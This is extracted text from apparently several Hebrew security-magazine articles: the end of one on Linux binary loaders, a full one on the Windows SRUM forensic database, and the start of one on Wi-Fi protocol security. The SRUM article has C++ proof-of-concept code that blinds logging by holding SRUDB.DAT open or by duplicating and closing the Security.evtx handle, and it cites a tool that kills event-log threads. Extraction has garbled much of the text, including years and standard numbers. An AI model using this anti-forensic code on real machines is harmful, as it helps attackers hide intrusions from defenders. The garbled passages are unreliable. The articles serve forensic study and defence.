99 על מנת לכתוב פורמט שבאמת יעשה משהו נצטרך להבין את הארגומנטים שמועברים לפונקציית הטעינה שלנו )format->load_binary( הארגומנט הראשון הינו struct linux_binprm שעברנו עליו בתחילת המאמר והארגומנט השני הינו מצביע לרגיסטרים של התהליך. רק binary loaders אמיתיים כמו a.out או ELF format שהם חלק מה- sources Linux kernel צריכים את הפרמטר הזה. כאשר הקרנל מחליף בין הקובץ שקרא ל- execve לקובץ שעליו נקרא,execve הוא חייב לאתחל את הרגיסטרים שנוגעים לתהליך הנוכחי, ספציפית את rip/eip לתחילת הקוד של הקובץ החדש. לעומת זאת, linux_binprm חייב להיות בשימוש בכל.binary loader עוד שתי פונקציות ששוות הזכרה הינן: הפונקציה הראשונה:,copy strings אחראית על להעביר argc מחרוזות מהמערך argv אל המצביע p.(linux_bprm->p המחרוזות יועתקו לפני שהכתובת שאליה מצביע p )ה- stack יורדת מטה(. המחרוזות, אלו שנמצאות ב- argv יכולות להימצא גם ב- space user וגם ב- space,kernel והמערך יכול עצמו להימצא ב- space kernel למרות שהמחרוזות ב- space user לכן נמצא הארגומנט החמישי,,from kmem אם הערך הינו 0 אז גם המחרוזות וגם במערך נמצאים ב- space user לעומת הערך 1 שאומר שהמחרוזות הינן ב- space user והמערך ב- space kernel לעומת הערך 2 שאומר שגם המחרוזות וגם המערך ב-.kernel space הפונקציה השנייה:,remove_arg_zero אחראית להוריד את הארגומנט הראשון מ- bprm בכך שהיא מעלה את הערך של bprm->p )כשמכניסים ערך ל- stack הכתובת קטנה, ה- bprm->p קטן ולכן העלתו תגרום ל"מחיקת הערך" מפני שבפעם הבאה שערך ייכנס הוא פשוט ידרוס את מה שהיה קיים שם(. 99 Having Fun With Binary Formats

100 להפשיל שרוולים! מספיק דיבורים. כדי לעבור לקצת פרקטיקה ננסה להרחיב את ה- bluff שלנו אל bloom ראשי תיבות עבור.Binary Loader for Outrageously Ostentatious Modules תפקיד ה- bloom הינו להציג תמונות שיש להן.execution permission לאחר שנטען את המודול נוכל להציג קבצי gif ו- xv )מציג תמונות( יציג אותה )קוד מקור עבור המודול בקישור בסוף המאמר(. אבל אני רוצה לרשום את הפורמט שלי עם :kerneld השאלה הבאה שלכם בטח תהיה איך אני יכול לסדר את הדברים כך ש- kerneld יטען לי אוטומטית את ה- module? התשובה היא שלצערי זה לא תמיד אפשרי, כמו שדיברנו למעלה, הקוד ינסה להשתמש ב- kerneld רק אם לפחות אחד מארבעת הבתים הוא non-printable ובגלל זה אין אופציה לטעון את ה- viewer bloom שלנו בצורה אוטומטית, הפורמטים של GIF או PBM מתחילים עם מחרוזת הגדולה מ- 4 תווים, ולכן לא יגיעו למצב של טעינה על ידי.kerneld מצד שני זה מעניין לראות מה קורה כאשר kerneld אכן טוען, במצב כזה, ה- kernel ישלח בקשת kerneld עבור ה- number binfmt )מחרוזת שתיראה כך,)"binfmt-"ID ה- ID שהוא יקבל יוחזר לו על ידי הרצת השורה הבאה: ה- ID הזה מייצג את שתי הבתים הראשונים של הקובץ, לדוגמא עבור קבצי gzip ייצא,binfmt )כן, זה מספר שלילי(, לעומת זאת, קבצי GIF מועברים ל- bin/sh / בגלל המחרוזת בתחילת הקובץ שלהם. מעניין לדעת גם שבגרסאות קרנל של וחדשות יותר החליפו לשיטה חדשה של מציאת ID ל- binary,format על ידי שימוש בשורה הבאה: השיטה הזו מייצגת את הבית השלישי והרביעי של הקובץ הבינארי בצורה הקסאדצימלית )בסיס 16( במקום דצימאלית )בסיס 10(, שיטה זו מובילה לפורמט טוב יותר וללא ID's שליליים. 200 Having Fun With Binary Formats

101 סיכום במהלך המאמר הצגתי בפניכם איך קובץ מורץ על ידי המערכת, ואת ה- execve,system call נכנסנו לקרביים של fs/exec.c וכל מיני פונקציות בפנים, למדנו על כמה struct -ים בעלי משמעות ואף מימשנו.GIF בעצמו, טענו אותו לקרנל והרצנו איתו קובץ binary format היה לי מאוד כיף לכתוב מאמר זה וכמה שחשבתי שהכרתי את הנושא קודם, אז כתיבת המאמר רק העשירה אותו. מקווה שנהנתם! על הכותב יובל יוחנן, בן 18 )כמעט 19(, מלש"ב, קפטן קבוצת ה- ctf -ים ולקרוא בזמנו הפנוי ונהנה מלפתור ctf -ים,Arcusteam,CerbrusTeam חוקר ומפתח בחברת מקורות Having Fun With Binary Formats

102 המארב הפרוע - SRUM ומבט לעתיד עולם ההגנה מאת אורית כהן ושי נחום הקדמה SRUM הינו אובייקט פורנזי חדש שהופיע החל מ- 8.Windows במאמר זה נלמד על,SRUM מה תפקידו, הנתונים שהוא מכיל ואיך נוכל לשלוף את המידע כדי לסייע לנו בחקירה פורנזית. נהפוך את הנושא היבש הזה לקצת יותר מעניין ונראה כי למרות תפקידו החשוב ניתן לפגוע בפעילותו יחסית בקלות באמצעות PoC קטן שנבנה. נראה כי PoC מניעת לוגים זה הינו דוגמה אחת מאוסף אפשרויות שיכולות לשמש תוקפים למנוע כתיבת לוגים. לסיום ננסה להתפכח, ונסתכל על מרחב הסייבר מלמעלה כדי להבין האם ניתן לצאת מקופסת החתול ועכבר שהתוקפים הכניסו אותנו אליה. הכותבים מניחים כי הקורא מכיר את הנושאים הבאים: Windows Internals Windows Forensics C++ שורום, זורום זורום רים או בקצרה SRUM,System Resource Usage Monitor או בקיצור SRUM הינו אובייקט פורנזי המשמש לניטור שימוש משאבי מערכת. אובייקט זה, מכיל מידע רב על שימוש בנתוני וקישוריות רשת, שימוש באפליקציות, צריכת אנרגיה על עמדת הקצה ועוד. משיחות שלנו עם אנשי אבטחת מידע מסתבר שרבים מהם לא מכירים אותו, מה שחיזק אצלנו את הרצון לכתיבת מאמר בנושא זה. SRUM נראה לראשונה ב- 8 Windows והינו חלק משירות (DPS) Diagnostic Policy Service )נושא שלם שלא נרחיב עליו במאמר זה(. מופע התהליך svchost.exe של השירות הינו זה שמזין נתונים ל- SRUM. בסיס מידע זה אוצר נתונים פורנזיים רבים על פעילויות שמתבצעות על עמדת הקצה שלנו. אבל איך זה בדיוק קורה? קובץ SRUB.DAT מתפקד כבסיס הנתונים הקבוע אשר שמור בנתיב: %windir%/system32/sru של מיקרוסופט, ESE Engine( )Extensible Storage בסיס נתונים זה מאחסן נתונים בטכנולוגיית ו- Windows Active Directory,Microsoft Exchange Server שמשתמשת בו במוצרים נוספים כמו:.Search 202 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

103 SRUM מכיל מידע רב על כל הפעילויות שמתבצעות במכונה שלנו. ניתן לראות חלק מהמידע הזה מלשונית ההיסטוריה במנהל המשימות, אך פרטים רבים שנאספים לא מוצגים דרך ה- GUI של מנהל המשימות, מוצג באיור הבא: SRUM כל כך חזק כי הוא מאפשר לנו לדעת זמנים מדויקים של איזו אפליקציה הופעלה, על ידי איזה משתמש ואת הפעילות התקשורתית של האפליקציה. גם אם תוקף יצר חשבון זמני ולאחר מכן מחק אותו נתונים אלו נשמרים בבסיס הנתונים הזה. ל- SRUM קיים נתיב ברגיסטרי שמחזיק מידע אודותיו, כמו למשל כלל ה- DLL שהוא משתמש בהם כדי לנטר את הפעילויות שמתבצעות על העמדה. בנתיב רגיסטרי הבא: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SRUM\ נתיב זה מכיל מספר מפתחות כמו למשל,Extensions שמחזיק את ה- GUID של כל DLL המסייע לפעילותו של ה- SRUM )מזהה GUID זהה בגרסאות ה- Windows השונות(, בעבר גם החזיק נתונים זמניים עד הכתיבה לדיסק*. 203 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

104 DLL במערכת nduprov.dll תיאור של ה- GUID מופיע בטבלה הבאה: GUID {973F5D5C-1D BE8E24B94231A174} {d10ca2fe-6fcf4f6d- 848eb2e99266fa86} {d10ca2fe-6fcf4f6d- 848eb2e99266fa89} {DD6636C E22C046A43763} {fee4e14f-02a b5ce5fa2da202e37} תיאור Windows Network Data Usage Monitor Windows Push Notifications (WPN) SRUM Provider Application Resource Usage Provider Windows Network Connectivity Usage Monitor Energy Usage Provider wpnsruprov.dll appsruprov.dll ncuprov.dll energyprov.dll תדירות העדכון של הקובץ SRUDB.DAT בדרך כלל תעמוד על דקות )אך יתכן שתשתנה בין גרסת Windows אחת לשניה ובין build אחד למשנהו, ב- 8 Windows למשל העדכון מתבצע כל שעה( וניתן יהיה לעדכן אותה בנתיב הרגיסטרי הבא: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack \SettingsRequests\WINDOWS.DIAGNOSTICS RefreshInterval תחת הערך: 204 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

105 אך גם לאחר השינוי ברגיסטרי, התדירות תתעדכן רק לאחר הפעלה מחדש של המחשב: אמנם SRUM הופיע לראשונה ב- 8,Windows אך הוא אינו קיים ב- 2016,Server אלא רק ב Server בכל עצירה של ה- Service DPS הנתונים של SRUM נכתבים מהזיכרון אל הדיסק. שליפת הנתונים תכירו את,srum-dump כלי המאפשר לכם לפרסר מידע ישירות מה- SRUM. על מנת לפרסר מידע מ- להורדה מ:- )ניתן השתמשנו ב- srum-dump.exe SRUM Microsoft ומאפשר לנו לראות אותם באופן ברור ומסודר ב- Excel SRUM כלי זה שולף את נתוני.)dump או בכל יישום תואם.csv הכלי הורץ על סביבת Windows 10 בגרסא להרצת התכנה נדרשים מספר גורמים. עותק מהימן של הקובץ בו נמצא מידע בסיס הנתונים של SRUM מהמערכת אותה אנו רוצים לנתח )SRUDB.dat( וקובץ תבנית xlsx אליו ייכנסו הנתונים כך שנוכל לראות ולהבין אותם בקלות. בנוסף, נדרשות הרשאות חזקות )הרשאות )Administrator כדי לשלוף את הנתונים הללו. על מנת לשלוף נתונים מ- SRUM על ידי srum-dump ביצענו את השלבים הבאים: תחילה הורדנו את קובץ הריצה srum-dump.exe ואת תבנית ה- SRUM-TEMPLATE.xlsx. התכנה דורשת קובץ המפרט את שדות הנתונים שאנו רוצים להשיג ואת סוג הפורמט בו יהיו. ניתן ליצור קובץ כזה באופן עצמאי אך היוצר של,srum-dump מספק ב- github שלו דוגמת תבנית הנקראת SRUM-TEMPLATE.xlsx יחד עם הכלי. 205 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

106 כאמור לעיל הנתונים של SRUM מאוחסנים בספרייה \Windows\System32\sru\ בקובץ הנקרא.SRUDB.DAT קובץ זה לעיתים נעול על ידי מערכת ההפעלה ולכן יש ליצור עותק אמין ולהריץ עליו את התכנה. לכן, השתמשנו בתכנת צד שלישי המיועדת להעתקת קבצים נעולים. לשם כך השתמשנו ב- Shadow,Copy תכנה זו משתמשת ב- Service Volume Shadow ובכך מאפשרת להעתיק קבצים נעולים וקבצים הנמצאים בשימוש ממיקום אחד לאחר בעזרת ממשק משתמש פשוט. ניתן לראות את התכנה בתמונה הבאה: Srum-dump קורא את קובץ ה- SRUDB.dat, שולף את הנתונים הנמצאים בו כמוגדר בקובץ התבנית SRUM-TEMPLATE.xlsx ומייצר קובץ xlsx חדש עם התוצאות. לדוגמא, ב- prompt command הפקודה להלן תריץ את srum_dump.exe והתכנה תנתח את הקלט )i-( SRUM_TEMPLATE.xlsx )t-( ובעזרת קובץ התבנית SOFTWARE )r-( ואת ה- registry -י SRUDB.dat ולבסוף תיצור קובץ פלט )o-( בשם.SRUM_DATA.xlsx 206 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

107 לדוגמא: srum-dump.exe -i SRUDB.dat -r C:\Windows\System32\config\SOFTWARE -t SRUM_TEMPLATE.xlsx -o SRUM_DATA.xlsx הערה: הכלי עושה שימוש ברגיסטרי שהוזכר לעיל, אך ממחקר שביצענו גם ב- 8 Windows וגם ב-,Windows 10 הנתונים הזמניים של SRUM אינם נשמרים ברגיסטרי יותר, למעט לאחר התקנה של,Windows 8 ומיד לאחר עדכון ראשוני של הקובץ )SRUDB.DAT( הם נמחקים. לכן, ניתן לבצע את הפקודה ללא הפרמטר של הרגיסטרי: נוצר לנו קובץ xlsx עם נתוני.SRUM לקובץ ה- xlsx שנוצר כתוצאה יש כמה כרטיסיות לרוחב התחתית. בכל כרטיסייה ניתן למצוא מידע חשוב ש- SRUM אסף לבסיס הנתונים שלו לגבי המחשב אותו הוא מנטר. 207 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

108 בצילום המסך להלן, ניתן לראות בכרטיסיית השימוש ברשת - Usage - Network ש- DoSvcי ( delivery. cohen" שומש על מנת להעביר מספר גדול של נתונים ברשת אלחוטית בשם ) optimization service קיימים כלים נוספים שמאפשרים שליפת הנתונים של למשל OSForensics שמאפשר לצפות.SRUM בבסיסי נתונים בטכנולוגיית :ESE 208 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

109 ובנוסף בגרסה האחרונה שלו OSFV7 מאפשרת גם תצוגה יותר נוחה של הנתונים תחת :Recent Activity כלי נוסף שמאפשר צפייה בנתונים של SRUM הוא NetworkUsageView וניתן להוריד אותו בקישור הבא: ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

110 מניעת לוגים - בדיקות מעבדה כלל בדיקות המעבדה התבצעו על עמדת Windows 10 בגרסת הגדרות לוגים בסיסיות של מערכת ההפעלה. אחלה, אנחנו יודעים מה זה SRUM וגם יודעים איך לשלוף את המידע בו ואפשר להמשיך לפרט על כל הנתונים הקיימים בו, אבל עד עכשיו הנושא הזה די יבש... אז מה ניתן לעשות במקרים כאלה כדי ליצור קצת ריגוש? ביצוע דברים נועזים בפרהסיה מבלי שאף אחד יראה ביטול כתיבת הלוגים במערכת ההפעלה הפאנטום דוגמה אחת שנתקלנו בה הינה - Invoke-Phant0m כלי שכתוב ב- Powershell שנועד להרוג Threads )תהליכונים( של התהליך האחראי לכתיבת הלוגים במערכת ההפעלה Killer(.)Windows Event Log הסקריפט מזהה והורג את התהליכונים האחראיים לכתיבת הלוגים במערכת ההפעלה בעוד שמופע התהליך svchost.exe שאחראי על Service כתיבת הלוגים נראה תקין ופועל. נדרשות הרשאות חזקות כדי להפעיל את הכלי. מידע נוסף על הכלי ניתן למצוא בקישור הבא: אז זו דרך אחת למנוע את כתיבת הלוגים של מערכת ההפעלה בצורה יחסית שקטה מבלי לעורר חשד או לוגים נוספים של מערכת ההפעלה אך כמובן שקיימות עוד מספיק אפשרויות נוספות אחרות למניעת לוגים. מה שמכניס אותנו ללופ של חתול ועכבר. וכמובן פוגע באופן מהותי בכל תהליך החקירה הפורנזי של המגן )אירוע שאסור למגני סייבר להשלים איתו(. מצטערים, הקובץ נעול לכתיבה... נממש דרך נוספת למניעת לוגים הפעם על SRUM אך בשיטה אחרת. גם כאן, נדרשות הרשאות גבוהות כדי לממש את השיטה. נחזיק הנדל לקובץ SRUDB.DAT וכך ה- Service המקורי האחראי על כתיבת הלוגים לא יוכל לכתוב את הנתונים לקובץ, יתרה מכך, אנו יודעים את הזמנים שבהם ה- Service כותב לקובץ ולכן ניתן יהיה לתפוס את ההנדל על הקובץ לפני כל נגיעה של ה- Service בו או פשוט לא לשחרר אותו. נשים לב כי בכל פעם שה- Service DPS נוגע בקובץ הוא נעול למשך 2 דקות לערך. 220 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

111 כלומר אם נבקש הנדל לקובץ ולא נקבל, נמתין כ- 2 דקות ואז נבקש שוב. הקוד שלנו יראה כך: bool SruFileHandleExample() { unsigned int dupresult=0; bool returnvar=false; if ( hsrumprocess!= NULL) { hsrumfile = CreateFile(srumpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, ACCESS_SYSTEM_SECURITY, NULL); while ( hsrumfile == NULL && hsrumfile == INVALID_HANDLE_VALUE) { Sleep(180000); // sleep for 3 minutes. hsrumfile = CreateFile(srumpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, ACCESS_SYSTEM_SECURITY, NULL); } if(hsrumfile!=null) { printf("execute all your evil wishes"); //write your mal code here. returnvar=true; while(true) { Sleep(INFINITE); // sleep - only for the example. } //CloseHandle(hSRUMFile); // release handle } } return returnvar; } יותר מדי פשוט ביטול ה- Viewer Event ע"י Duplicate Handle ניתן לממש שיטה זו גם עבור קבצים שתפוסים תמידית על ידי מערכת ההפעלה, :DuplicateHandle - מעניינת API הפעם נעזר בפונקציית.Security.evtx כמו למשל BOOL DuplicateHandle( HANDLE hsourceprocesshandle, HANDLE hsourcehandle, HANDLE htargetprocesshandle, LPHANDLE lptargethandle, DWORD dwdesiredaccess, BOOL binherithandle, DWORD dwoptions ); פונקציה API זו מאפשרת לנו לשכפל הנדל. בנוסף, הפרמטר dwoptions מאפשר לנו לשכפל את ההנדל המקורי ולסגור אותו בתהליך המקורי באמצעות הערך.DUPLICATE_CLOSE_SOURCE לפונקציה שמבצעת סגירה של ההנדל עבור קובץ נראה דוגמה.Security.evtx בשלב הראשון נקבל רשימה של כל ההנדלים הקיימים. נתחיל לעבור עליהם אחד אחד כדי למצוא את ההנדל שמעניין אותנו. נשתמש בפרמטר pid כדי לקבל הנדל לתהליך של Event Viewer )נניח שאנו נקבל אותו כפרמטר(. נבדוק רק 222 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

112 הנדלים של קבצים )0x24(. נעבור על כל הנדל ונבדוק האם הוא ההנדל על הקובץ.Security.evtx לאחר שמצאנו אותו, נשכפל אותו ונסגור אותו על המקור: HANDLE GetSecurityHandle(ULONG pid) { PSYSTEM_HANDLE_INFORMATION handleinfo; ULONG handleinfosize = 0x10000; HANDLE processhandle = NULL; // Get the list of all handles in the system PSYSTEM_HANDLE_INFORMATION psyshandleinformation = new SYSTEM_HANDLE_INFORMATION; DWORD size = sizeof(system_handle_information); DWORD needed = 0; TCHAR Path[BUFSIZE]; std::string systemevtxstr ("Security.evtx"); HANDLE evthfile, evthfile2dup; handleinfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((NtQuerySystemInformation(SystemHandleInformation, handleinfo, handleinfosize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleinfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleinfosize *= 2); for (int i = 0; i < handleinfo->handlecount; i++) { SYSTEM_HANDLE handle = handleinfo->handles[i]; POBJECT_TYPE_INFORMATION objecttypeinfo; PVOID objectnameinfo; UNICODE_STRING objectname; ULONG returnlength; HANDLE processhandle; processhandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); HANDLE duphandle = NULL; if (handle.processid == pid && handle.objecttypenumber == (BYTE)0x24) { NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &duphandle, 0, 0, 0); objecttypeinfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); NtQueryObject(dupHandle, ObjectTypeInformation, objecttypeinfo, 0x1000, NULL); objectnameinfo = malloc(0x1000); NtQueryObject(dupHandle, (OBJECT_INFORMATION_CLASS)ObjectNameInformation, objectnameinfo, 0x1000, &returnlength); objectnameinfo = realloc(objectnameinfo, returnlength); if(nt_success(ntqueryobject(duphandle, (OBJECT_INFORMATION_CLASS)ObjectNameInformation, objectnameinfo, returnlength, NULL))) { objectname = *(PUNICODE_STRING)objectNameInfo; int size_needed = WideCharToMultiByte(CP_UTF8, 0, objectname.buffer, (int)objectname.length, NULL, 0, NULL, NULL); std::string strto( size_needed, 0 ); WideCharToMultiByte(CP_UTF8, 0, objectname.buffer, (int)objectname.length, &strto[0], size_needed, NULL, NULL); std::size_t found = strto.find(systemevtxstr); if (found!=std::string::npos) { unsigned int dupresult=0; dupresult = DuplicateHandle(processHandle, (HANDLE)handle.Handle, 222 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

113 } GetCurrentProcess(), &evthfile2dup, 0, FALSE, DUPLICATE_CLOSE_SOURCE); } _tprintf(text("\nthe final path is: %s\n"), objectname.buffer); } } std::free(objecttypeinfo); std::free(objectnameinfo); CloseHandle(dupHandle); } std::free(handleinfo); CloseHandle(processHandle); return 0; ניתן למצוא את קטעי הקוד הנ"ל בגיטהאב בכתובת הבאה: ההשלכות אז הראנו שעם הרשאות חזקות על העמדה, תוקף יכול להתל בנו בקלילות כמה שירצה. למנוע לוגים באמצעות החזקה של הנדלים או סגירה שלהם ולבצע פעילות זדונית על העמדה כאילו כלום לא קרה באופן יחסית שקט ובאמצעות מספר פונקציות API בסיסיות. תוקף רציני ירצה לבצע פעולות מבלי להשאיר עקבות אחריו, ככל הנראה יחזיק בארסנל שלו חולשה של הסלמת הרשאות )או שיגנוב הרשאה חזקה בדרך כזו או אחרת( כמובן וביצע מלכתחילה למידה של היעד אותו הוא תוקף. מה אפשר ללמוד מכך? עולם ההגנה במצבו הנוכחי הינו ידוע, צפוי ולעיתים גם שקוף מדי )למה שלא תהיה למשתמש/למגן אפשרות לבחור בעצמו את שם הקובץ SRUDB.DAT ואת הנתיב שבו הוא נמצא??(. תוקף רציני מכיר היטב את היעד שאותו הוא תוקף. בנוסף, התוקף הספיק ללמוד גם את מערכות ההגנה )כולל מערכות הונאה( שהיעד רכש )כדי להגן על עצמו( וידע להתמודד איתם מבלי מפריע, )לעיתים רוכש אותם בעצמו ]מסחרי כבר אמרנו?[, ולפעמים אין צורך מפני שהמערכת שקופה, שמות תהליכים ידועים, שמות קבצים, הטמעה ברשת מסוימת או עמדות מסוימות וכדומה(. 223 ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

114 סיכום - הם שרים הם שרים הם שרים ארגון יכול להחזיק את מערכות ההגנה הכי מתקדמות עם הטכנולוגיה הכי חדשה, אך גם טכנולוגיה זו מתבססת על ה"קרביים" של מערכת ההפעלה, וזאת ניתן לעקוף כפי שהצגנו כאן. אז איך ניתן להקשות עוד יותר על התוקפים? לנסות להיות פחות שקופים בתור התחלה, וגם להתחיל להתנהג קצת כמו תוקפים )מאמר קודם - זיהוי באפלה(, הגנה קניינית )יכולות וטכנולוגיות הגנתיות שידועות ושייכות רק למגן - מאמר המשך בנושא(, hunting בהפתעה על ידי גורם צד שלישי, הסתרת כלי הזיהוי שלנו על ידי הזרקת קוד לתהליכים קיימים ועוד. בעולם כזה, התוקפים יצטרכו לעבוד יותר ויותר כמו מגנים, יצטרכו לבצע פורנזיקה, חקירות זיכרון ו- RE כדי להבין את הסביבה שבה הם נמצאים והאם מישהו מנסה לאתר או לנטר אותם ורק לאחר מכן יפעלו. כך כמגנים, נוכל להגדיל את מרחב הטעות של התוקפים, את משך הזמן לתקיפת היעד ואולי הכי חשוב, את המאמץ הנדרש כדי לתקוף, אולי עד לרמה שבו התוקפים יעשו "חושבים" אם משתלם בכלל לתקוף את היעד... התוקף בדרך כלל מגיח בהפתעה, לא מגלה את השיטות שלו, אז למה המגנים צריכים להיות כל כך שקופים? אנחנו מאמינים כי בעתיד Microsoft תבין זאת ותספק שכבת הגנה נוספת למערכת ההפעלה, שכבה גנרית שתהיה ידועה אך ורק למגן שהטמיע אותה. פתרון כזה, המשלב מארב והונאה, יכול להפתיע כל תוקף... אז נכון, עדיין לא נמצאה השיטה/המערכת שתצליח לזהות, למנוע או לסכל את כל תקיפות הסייבר אבל אנחנו מאמינים שבמתודולוגיה המתוארת במאמר זה ניתן להתחיל לשנות את המשוואה. תודות תודה רבה ל-עמית פורת, שחק שלו, יהונתן שחק, משה חסן, ונתנו מזמנם לקרוא את הטיוטה והביאו הצעות לשיפורים. על המחברים טל בלום, גיא כלפון ועדן מיוחס שטרחו אורית כהן - תוכניתנית וחוקרת אבטחת מידע המתמחה ב- Windows. שי נחום - בעל חברת אבטחת מידע המתמחה בחקירת פוגענים, פורנזיקה ויכולות תגובה בעת אירוע סייבר, בעל תואר שני בהנדסת מערכות מידע מהטכניון עם התמחות בתחום הסייבר. לפניות או שאלות ניתן לפנות אלינו דרך המייל הבא: orityc6@gmail.com או דרך חשבון הלינקדאין: ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

115 מקורות ומבט לעתיד עולם ההגנה - SRUM המארב הפרוע

116 האבולוציה של אבטחת רשתות WI-FI מאת תומר איזנברג, נגה אור ואור הופרט-גרף מבוא בעידן שלנו, הרשת האלחוטית נצרכת בכל רגע ועובר בה מידע רב. על מנת להסתיר ולהגן על מידע זה מתוקפים, משתמשים בשיטות שונות, אחת מהן הינה הצפנת מידע. לשם כך, הומצא פרוטוקול Wired )Equivalent Privacy) WEP בשנת לפרוטוקול זה היו בעיות וחסרונות רבים ולכן בשנת :911 הוחלף באופן רשמי בפרוטוקול,WPA וב-; 911 הוצא משימוש. לפרוטוקול Access) Wi-Fi Protected )WPA היו חסרונות )שאותם נתאר במאמר( והיה ניתן לפרוץ גם לו, ולכן בשנת ;911 הוחלף גם הוא בפרוטוקול האבטחה.WPA2 מאמר זה עוסק באבטחת רשתות אלחוטיות לאורך השנים האחרונות, נסביר בקצרה על פרוטוקול WEP ונרחיב על פרוטוקולים WPA, WPA2 ו- WPA3. תקציר ראשי התיבות WPA2,WPA,WEP ו- WPA3 מתייחסים למנגנוני אבטחה אלחוטיים שונים שמטרתם לשמור ולהגן על מידע הנשלח ומתקבל ברשתות אלחוטיות. פרוטוקולי אבטחה אלו פותחו על ידי ארגון ה- FI WI - העולמי alliance(.)the Wi Fi הראשון היה פרוטוקול :WEP שפותח בסוף שנות ה- לקריאה על המתמטיקה מאחורי )Wired Equivalent Privacy) WEP לפרוטוקול זה חסרונות אבטחה רבים )יפורט בהמשך( ולכן הוחלף ע"י.)WI-FI Protected Access) WPA הפרוטוקול היה קל לפריצה )יוסבר בהמשך( ולמרות זאת WEP עדיין בשימוש כיום. הסיבות לכך שמשתמשים בו גם היום הן או שהם לא החליפו את ברירת המחדל, שהיא פרוטוקל WEP או שמכשיריהם ישנים ולא ניתן להפעיל עליהם פרוטוקולים כמו WPA )ומעלה(. כשם ש- WPA החליף את החליף את ו- WPA3 החליף את.WPA2 לרשת WPA כך WPA2,WEP האלחוטית WLAN קיימים מספר פרוטוקולי אבטחה: WEP 226 WI-FI האבולוציה של אבטחת רשתות

117 WPA WPA2 WPA3 פרוטוקולי האבטחה הללו תוכננו לספק אבטחה למשתמשי הרשתות האלחוטיות WLAN העומדות בתקן.?19.88 IEEE [ 227 WI-FI האבולוציה של אבטחת רשתות

118 רקע תקן IEEE 19.88? IEEE הוא אוסף תקנים הנושאים את הרשת המקומית האלחוטית, ה- WLAN. כל תקן במשפחה זו מסומן באות אנגלית אחת או שניים. ההבדל בין התקנים הוא טווח התדר שבו הם פועלים. להרחבה ניתן לפנות לקישור: המבנה של תקן ה ? מורכב ממספר מרכיבים עיקריים: תחנה )STA( נקודת גישה אלחוטית Point( )AP- Access מערך שירות בסיסי עצמאי )IBSS( מערך שירות בסיסי )BSS( מערכת הפצה )DS( מערכת מורחבת.)ESS( לפירוט על המושגים ניתן לקרוא: תחנה: נקודת גישה אלחוטית: מערך שירות בסיסי עצמאי ומערך שירות בסיסי: מערכת הפצה: מערכת מורחבת: לרשת אלחוטית יכול לגשת כל אחד אשר נמצא בטווח השידור של הרשת. על מנת להתמודד עם חדירה של משתמשים לא מורשים לרשת, הוגדרו אמצעי אבטחה בסיסיים בתקן 19.88?: אימות )Authentication( סינון )Filtering( הצפנה )Encryption( 228 WI-FI האבולוציה של אבטחת רשתות

119 אימות מטרת האימות היא לבצע זיהוי של הלקוח.)STA( הזיהוי מתבצע מול ה- AP. פרוטוקול 19.88? תומך בשתי שיטות זיהוי: )STA( מערכת - הלקוחות כל פתוחה המחוברים לאותה הרשת האלחוטית )בטווח של השידור.1 הרשת( יכולים להתחבר ל- AP. 2. מפתח משותף - דרוש מפתח מסוים על מנת להתחבר ל- AP. המפתח הדרוש הוא מפתח משותף, המשמש את הלקוח ואת ה- AP להצפנה ולפענוח )הצפנה סימטרית- יפורט בהמשך(. תהליך הזיהוי מתבצע ע"פ הסדר הבא: 1. ה- STA יוצר תקשורת- בקשה לזיהוי. 2. ה- AP שולח מחרוזת רנדומלית שבעזרתה ה- AP מבצע ללקוח "מבחן כניסה". 3. ה- STA מצפין את המחרוזת בעזרת המפתח המשותף שלו ושולח חזרה ל- AP. 4. ה- AP מפענח את הקוד שנשלח לו בעזרת המפתח המשותף, ואם הוא מקבל את המחרוזת המקורית הוא שולח ל- STA הודעה מתאימה שהוא מורשה להתחבר לרשת. יש סיבה לכך שיש לשלוח מחרוזת רנדומלית ולא קבועה, נדגים באמצעות שימוש ב-" Attack :"Replay אם המצב היה שליחה של מחרוזת קבועה, נניח שה- AP רוצה לאמת את.STA1 הוא שולח מחרוזת קבועה ובתגובה STA1 מחזיר מחרוזת. נניח שבאותו הזמן STA2 מאזין לתקשורת ומעתיק את המחרוזת ש- STA1 שלח. כעת, כשה- AP יאמת את,STA2 בגלל שהמחרוזת זהה, STA2 יוכל לשלוח את המחרוזת שהעתיק וכך יתאמת על אף שלא ידע את הסיסמה. לכן חיוני שהמחרוזת תהיה רנדומלית. לקריאה על Replay Attack ניתן לפנות לקישור: WI-FI האבולוציה של אבטחת רשתות

